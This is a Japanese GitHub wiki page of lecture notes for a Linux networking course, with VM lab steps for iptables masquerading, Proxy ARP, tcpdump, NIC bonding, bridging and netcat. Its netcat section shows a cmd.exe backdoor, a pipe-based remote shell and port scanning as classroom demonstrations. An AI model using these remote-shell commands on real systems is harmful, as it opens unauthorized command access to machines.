Linux講師担当①(講師:窪田) - careerbeat/dit-ehime GitHub Wiki

============ Vol.065 - お試しネットワーク環境を作る ============

簡易的にホストOSの配下にネットワークを構築する
IPマスカレードについて、設定方法

  1. 一番最初のスナップショットを反映
  2. 「CentOS」設定 > ネットワーク > アダプター1 > 割り当て プリッジアダプター
  3. 「CentOS」設定 > ネットワーク > アダプター2 > 「ネットワークアダプタを有効化」チェック 割り当て 内部ネットワーク (MACアドレスをメモ)
  4. 「CentOS2」設定 > ネットワーク > アダプター1 > 割り当て 内部ネットワーク (一応MACアドレスメモ)
  5. 「CentOS」をrootで起動
  6. 「CentOS2」をrootで起動
  7. (2) 「ifconfig」でIPアドレスがない事を確認
  8. (2) 「vi /etc/sysconfig/network-scripts/ifcfg-eth0」で以下を設定 >BOOTPROTO=none >IPADDR="10.0.3.XX"(例:10.0.3.46) >NETMASK="255.255.255.0"
  9. (2) 「/etc/init.d/network restart」で再起動
  10. (2) 「ifconfig」でIPアドレスとサブネットマスクを確認
  11. (C) 「cd /etc/sysconfig/network-scripts/」
  12. (C) 「vi ifcfg-eth0」 でONBOOTをyesに修正
  13. (C) 「cp ifcfg-eth0 ifcfg-eth1」
  14. (C) 「vi ifcfg-eth1」 で下記項目を修正
    >DEVICE=eth1
    >HWADDR={メモしたMACアドレス}
    >IPADDR="10.0.3.XX"(例:10.0.3.15)
    >NETMASK="255.255.255.0"
  15. (C) 「/etc/init.d/network restart」で再起動
  16. (C) 「ifconfig」でeth1があり、上記で設定した内容になっていることを確認
  17. (C) 「ping 10.0.3.46」で応答を確認する
  18. (2) 「ping 10.0.3.15」で応答を確認する
  19. (2) 「ping 192.168.1.XXX」で「ネットワークに届きません」を確認
  20. (2) 「vi /etc/sysconfig/network-scripts/ifcfg-eth0」で以下を設定
    >GATEWAY="10.0.3.15"
  21. (2) 「/etc/init.d/network restart」で再起動
  22. (2) 「route」でGATEWAYが追加されていることを確認
  23. (2) 「ping 192.168.1.XXX」で応答がないことを確認
  24. (C) 「sysctl -w net.ipv4.ip_forward=1」でルータとしての機能を付加(パケット転送)
  25. (C) 「/etc/sysctl.conf」に net.ipv4.ip_forward = 1 追記することで保存できることを説明
  26. (C) 「iptables -t nat -A POSTROUTING -s 10.0.3.0/24 -j MASQUERADE」
  27. (2) 「ping 192.168.1.XXX」で応答があることを確認
  28. (C) 「iptables -t nat -D POSTROUTING -s 10.0.3.0/24 -j MASQUERADE」
  29. (2) 「ping 192.168.1.XXX」で応答がなくなっていることを確認
  30. (C) 「/etc/init.d/iptables save」で恒久的に保存できることを説明

------------------------------ メモ ------------------------------ 「sysctl -w net.ipv4.ip_forward=1」
・Linuxをルータとして機能させるため、IPパケットをフォワード(転送)を有効にする設定
>「-w」はsysctl の設定を変更する場合に指定するオプション

[iptables]
・-t 「操作するテーブルTABLEを指定する(デフォルトはfilter) 例 -t nat (natテーブルを指定)」
・-A 「チェインにルールを追加する」 POSTROUTING
・-s 「送信元のアドレスADDR(およびネットマスクMASK)を指定する」 指定されたIPアドレスからの実行とする(Source Addressを指定する)
・-j ルールにマッチした場合の移動先をターゲットとする -j MASQUERADE
・-o 出力ネットワークインターフェースINTを指定する(NAME+とするとワイルドカードとなる)
・-p プロトコルを指定
・PREROUTING 受信時を変換するチェイン
・POSTROUTING 送信時に変換するチェイン送信時に変換するチェイン

============ Vol.066 - お試しネットワーク環境を作る ~ Proxy ARP 編 ============

Proxy ARPを使って外から配下のネットワークに見えるようにする
【Proxy ARPについて】
http://www.infraexpert.com/study/gateway.htm 31. (C) 「vi /etc/sysconfig/network-scripts/ifcfg-eth1」で以下を設定
>IPADDR="192.168.1.XXX"(例:192.168.1.225)
>NETMASK="255.255.255.224"
32. (C) 「iptables -t nat -D POSTROUTING -s 10.0.3.0/24 -j MASQUERADE」 33. (C) 「iptables -t nat -A POSTROUTING -s 192.168.1.224/28 -j MASQUERADE」

> 後ほど (C) 「iptables -t nat -A POSTROUTING -s 192.168.1.XXX(例:226) -j MASQUERADE」に<変更
34. (C) 「/etc/init.d/network restart」で再起動 35. (2) 「vi /etc/sysconfig/network-scripts/ifcfg-eth0」で以下を設定
>IPADDR="192.168.1.XXX"(例:192.168.1.226)
>NETMASK="255.255.255.224"
>GATEWAY="192.168.1.225"
36. (2) 「/etc/init.d/network restart」で再起動 37. (C) 「ifconfig」で確認 38. (2) 「ifconfig」で確認 39. (C) 「ping 192.168.1.226」で応答があることを確認 40. (2) 「ping 192.168.1.225」で応答があることを確認 41. (W) 「ping 192.168.1.226」で応答がないことを確認 42. (C) 「echo 1 > /proc/sys/net/ipv4/ip_forward」 43. (C) 「echo 1 > /proc/sys/net/ipv4/conf/eth0/proxy_arp」 44. (2) 「ping 192.168.1.XXX(自分のWindowsのIP)」で応答があることを確認 45. (C) 「ping 192.168.1.225」で応答があることを確認 46. (C) 「ping 192.168.1.226」で応答があることを確認

============ Vol.059 - tcpdump でネットワークを盗み見る ============

配布サイト:http://www.usupi.org/sysad/059.html

・ネットワークを流れるパケットを直接見る、という強引殺法
・root の権限が必要
[コマンド]
tcpdump

  1. tcpdumpについて説明
  2. tcpdumpコマンドを実行
  3. tcpdumpのオプション >「port 80」 ポート指定
    >「dst port 80」 パケットの宛先ポート番号が80であれば真 発信だけに絞りたい場合
    >「src port 80」 パケットの送信元ポート番号が80であれば真 受信だけに絞りたい場合
    >「host 192.168.1.1」 ホスト指定
    >ネットワークアドレス指定(説明だけ)
    >「-i eth1」 イーサネット指定
    >「-v -vv」 詳細表示(IPヘッダや TCPヘッダなどの情報も出力してくれています。)
    >「-x 」 ARP や IP パケットの生のデータが、合わせて出力されます。
    >「-w tcpdump_20060528.log」でファイルに出力を説明しながら実行
    50.「tcpdump -x -r tcpdump_20060528.log | less」 -wでダンプしたやつをlessで見る

----------------------------------------------- メモ --------------------------------------------------- 12:46:26.850710 IP 192.168.0.10.54181 > nrt19s02-in-f24.1e100.net.http: Flags [.], seq 3579718551:3579719953, ack 1130673671, win 8192, options [nop,nop,TS val 750304771 ecr 3577990075], length 1402

21:48:36.476894 IP 192.168.24.73.4697 > 192.168.24.62.http: S 1751526227:1751526227(0) win 65535 21:48:36.477798 IP 192.168.24.62.http > 192.168.24.73.4697: S 1906616760:1906616760(0) ack 1751526228 win 5840 21:48:36.476970 IP 192.168.24.73.4697 > 192.168.24.62.http: . ack 1 win 65535

時刻
[12:46:26.850710]

どこから
[IP 192.168.0.10.54181]

どこへ
[nrt19s02-in-f24.1e100.net.http]

どんなパケットか
[Flags [.], seq 3579718551:3579719953, ack 1130673671, win 8192, options [nop,nop,TS val 750304771 ecr 3577990075], length 1402]

いつ どこから(IPおよびポート) > どこへ(IPおよびポート): どんなパケットか

ポートで絞る

$ sudo tcpdump port 80

発信または受信だけに絞りたい場合は、それぞれ dst, src を使います。

$ sudo tcpdump dst port 80 # 発信
$ sudo tcpdump src port 80 # 受信

ホストで絞る

$ sudo tcpdump host 192.168.1.1
$ sudo tcpdump dst host 192.168.1.1
$ sudo tcpdump src host 192.168.1.1

ネットワークアドレスで絞る

net を使うとネットワークアドレスで絞れます。

$ tcpdump net 192.168.1.0 mask 255.255.255.0

http://net-newbie.com/tcpip/tcp/tcpdump.html
http://d.hatena.ne.jp/hirose31/20090401/1238585753
http://blog.livedoor.jp/sonots/archives/18239717.html
http://itpro.nikkeibp.co.jp/article/COLUMN/20140512/556024/

ping を送るので、キャッチしてほしい

============ Vol.060 - tcpdump でネットワークを確認する ============ 【使用例】
・とあるマシンと通信できないときに、tcpdump を使って、 原因を調査
→でも通信できないマシンがサブネット内にあるときは、 traceroute では原因を突き止められない
「各所で tcpdump を実行」

「送信元A が宛先B に ping しても返事がない、という状況を作る」

52.「tcpdump -r tcpdump_20060528.log icmp | less」 -wでダンプしたやつをicmpだけに絞ってlessで見る

全ての端末を経由するように、iptables に設定を追加する
iptables -t nat -A PREROUTING -m icmp -p icmp --dst 指定の端末アドレス -j DNAT --to-destination 10.0.2.50:80

iptables -t nat -A PREROUTING -p icmp -d 指定の端末アドレス -j DNAT --to-destination 指定の端末

全員 tcpdump -w icmp_test.log
俺 ping 指定の端末
全員 tcpdump -r icmp_test.log proto icmp

============ Vol.160 - bonding で複数のNICをまとめて使う ============

配布サイト

http://www.usupi.org/sysad/160.html
http://www.usupi.org/sysad/161.html

【現在のNICの通信速度を測る】

  1. 「CentOS」をrootで起動
  2. 「/etc/init.d/httpd start」でapacheを起動
  3. 「cd /var/www/html/」でディレクトリ移動
  4. 「dd if=\dev\zero of=tempfaile bs=1M count=100」で100MBのダミーファイルを作成
  5. 「wget -O /dev/null http://192.168.1.XXX/tempfile」でダミーファイルをダウンロードし、現在の速度を計測

【bondingで複数のNICをまとめた仮想NICを作る】

  1. 「modprobe bonding mode=balance-rr miimon=200」 で「bonding」をロードする
  2. 「ifconfig bond0」でNICを纏める仮想NICの確認
  3. 「ifconfig eth0 down」でeth0を停止させる
  4. 「ifconfig eth1 down」でeth1を停止させる
  5. 「ifconfig bond0 192.168.1.XXX netmask 255.255.0.0 up」
  6. 「ifenslave bond0 eth0 eth1」でbond0にeth0とeth1を割り当てる
  7. 「ping 192.168.1.115(自分のホストPC)」でネットーワークにつながっているか、実在するかを確認
  8. 「ifconfig」で以下を確認
    >bond0がMASTER
    >eth0とeth1がSLAVE
    >HWaddrが全て同じ値
    >bond0の送受信バイトがeth0とeth1を合計した数値とほぼ同じ
  9. 「cat /proc/net/bonding/bond0」で詳しく確認

【仮想NICで通信速度を計測】

  1. 「wget -O /dev/null http://192.168.1.123/tempfile 」で速度測定

----------------------------------- メモ -------------------------------------------- [balance-rr]
・ラウンドロビンで順番に送信します。デフォルトではこれを使います。

[active-backup]

・通常はアクティブな NIC だけを使用しますが、 アクティブな NIC から送信できない(リンクがない)場合に、別の NIC に切替えます。


============ Vol.161 - bonding でフォールトトレラントなNICにする ============

bonding を使って、 ある NIC が通信できなくなっても通信しつづけるようにする方法

【フォールトトレラントNICを作成】

  1. 「modprobe bonding mode=active-backup miimon=1000」

~~~~~ 「Vol.160 - bonding で複数のNICをまとめて使う」で仮想NICを作成 ~~~~~

  1. 「cat /proc/net/bonding/bond0」で設定を確認

【フォールトトレラントなNICになっているか確認】

  1. ネットワークアダプター1を切断

  2. 「cat /proc/net/bonding/bond0」

  3. ネットワークアダプター1を再接続

  4. 「cat /proc/net/bonding/bond0」

  5. ネットワークアダプター2を切断

  6. 「cat /proc/net/bonding/bond0」

  7. ネットワークアダプター1「eth1」のリンクが復活したら、 eth1 をアクティブにする場合

  8. 「ifenslave -c bond0 eth1」

【リンクの監視の可否】
11. 「mii-tool eth0」でlink okがでたらMIIによるリンク監視が可能

【定期的にARPリクエストを送信して、レスポンスが返ってくるかどうかで、 そのNICのリンクの有無を判断するという方法】

  1. 「modprobe bonding arp_interval=2000 arp_ip_target=192.168.1.1」

============ Vol.162 - brctl でLinuxマシンをHUBにする ============

配布サイト:http://www.usupi.org/sysad/162.html

・複数のNICを持つLinuxマシンを、 HUB として使用できるようにする方法

>たとえば、マシンが増えて新たにポートが必要になったけれども、 予備の HUBがないときに、LinuxマシンをHUBにしてしのぐことができる

>パケットをキャプチャして確認したいが、 ポートミラーリング機能つきのスイッチングHUBがないとき

[コマンド] brctl

【仮想ブリッジ「vbr0」を作り、「eth1」「eth2」を「vbr0」に割り当てる】

  1. 「which brctl」brctlがなかった場合、「yum install bridge-utils」でbridge-utils パッケージをインストール
  2. 「brctl addbr vbr0」で仮想ブリッジを追加
  3. 「brctl stp vbr0 off」でSTPを無効化する
  4. 「brctl addif vbr0 eth1」 でeth1をvbr0に追加する
  5. 「brctl addif vbr0 eth2」 でeth2をvbr0に追加する
  6. 「ifconfig eth1 0.0.0.0」 でeth1のipv4を削除
  7. 「ifconfig eth2 0.0.0.0」 でeth2のipv4を削除
  8. 「ifconfig vbr0 192.168.1.4」 でLinuxマシン自身が他と通信できるよう、vbr0 自身にIPアドレスを設定します
  9. 「brctl show」で確認

【新たにeth3 を割り当てる】

  1. 「ifconfig eth3 0.0.0.0」 でeth3のipv4を削除
  2. 「brctl addif vbr0 eth3」 でeth3をvbr0に追加する
  3. 「brctl show」 で確認

起動時に自動設定する設定

/etc/sysconfig/network-scripts/ifcfg-eth1, ifcfg-eth2, ifcfg-eth3

DEVICE=eth1 (もしくは eth2 もしくは eth3)
HWADDR=xx:xx:xx:xx:xx:xx (実際のMACアドレスを指定してください)
ONBOOT=yes
TYPE=Ethernet
BRIDGE=vbr0

/etc/sysconfig/network-scripts/ifcfg-vbr0

DEVICE=vbr0
BOOTPROTO=static
IPADDR=192.168.1.1
BROADCAST=192.168.1.255
NETMASK=255.255.255.0
NETWORK=192.168.1.0
ONBOOT=yes
TYPE=Bridge
STP=off

============ Vol.190 - Netcat でネットワークをもう少し活用する ============ 配布サイト:http://www.usupi.org/sysad/190.html

【Netcat】 ・TCP や UDP で通信を行うためのコマンド ・Linux などのUNIX系OSだけでなく、Windows で動作するものもある コマンド:nc

  1. eth1立ち上げのスナップショットにする
  2. 「CentOS」をrootで起動 (Server役)
  3. 「CentOS2」をrootで起動 (Client役)
  4. (S) 「nc -l 12345」でポート12345で待ち受ける
  5. (C) 「nc {ServerのIP} 12345」で接続要求をし、コネクション確立
  6. どちらでも良いので、文字を打ってEnterを押す → 文字が送信され、お互いの画面に表示される
  7. (S) 「nc -l 12345」でポート12345で待ち受ける
  8. (C) 「echo "This is a test" | nc (C)のアドレス 12345」で(C)にパケットを送信する (実質ファイル転送)
  9. (S) 「nc -l 12345 > /tmp/hosts.sender」でポート12345で待ち受け、受信したら「/tmp/hosts.sender」に出力する
  10. (C) 「nc (C)のアドレス 12345 < /etc/hosts」で「/etc/hosts」を(C)に送信する
  11. (S) 「nc -l 12345 < /etc/crontab」で同じくポート12345で待ち受け、接続要求があったら「/etc/crontab」の内容を返す
  12. (C) 「nc sender 12345 > /tmp/crontab.sender」 で接続を要求する
  13. (S) 「nc -u -l 12345」 でUPDで待ち受ける
  14. (C) 「echo "This is a test" | nc -u receiver 12345」 でUDPで送信する
  15. 「printf "HEAD / HTTP/1.0\n\n" | nc www.google.com 80」でgoogleにhttpパケットを送信する
  16. 「printf "HEAD / HTTP/1.0\n\n" | nc wwwserver 80」で反応がなく、ある程度時間が経過してから終了する
  17. 「printf "HEAD / HTTP/1.0\n\n" | nc wwwserver 80 || echo NG」で失敗していることがわかる
  18. 「printf "HEAD / HTTP/1.0\n\n" | nc -v wwwserver 80」 でエラーメッセージを表示してくれるようになる
  19. 「printf "HEAD / HTTP/1.0\n\n" | nc -w 2 wwwserver 80 || echo NG」 で指定した秒数(2秒)でタイムアウトになる
  20. 「nc -v -z server 22」で指定したサーバーの指定したポートが開いているどうか確認できる(ポートスキャン)
  21. 「nc -v -z server 20-30」でポートスキャンを範囲指定できる
  22. windowsのみ「nc -l -p 8023 -e \windows\system32\cmd.exe」でバックドアができる
    >$ nc windows 8023
    >Ubuntu や Fedora では、「-e」オプションを使用できない。
    (他のマシンから接続すると、入出力が cmd.exe にリダイレクトされますので、 Windows のコマンドが実行できてしまいます。) 以下強引に行う方法
  23. (2) 「nc -l 8023」
  24. (C) 「nc -l 9023 | bash | nc client 8023」
  25. (2) 「nc server 9023」
  26. (2) 「実行したいコマンドを入力」

--------------- メモ --------------- -e コマンドを実行(コンパイル時の指定が必要) -l リッスンモード -u UDPモードにて通信を行う -n 名前解決を行わない -s ソースポートを指定 -z スキャンのみを行い、データを送らない。

⚠️ **GitHub.com Fallback** ⚠️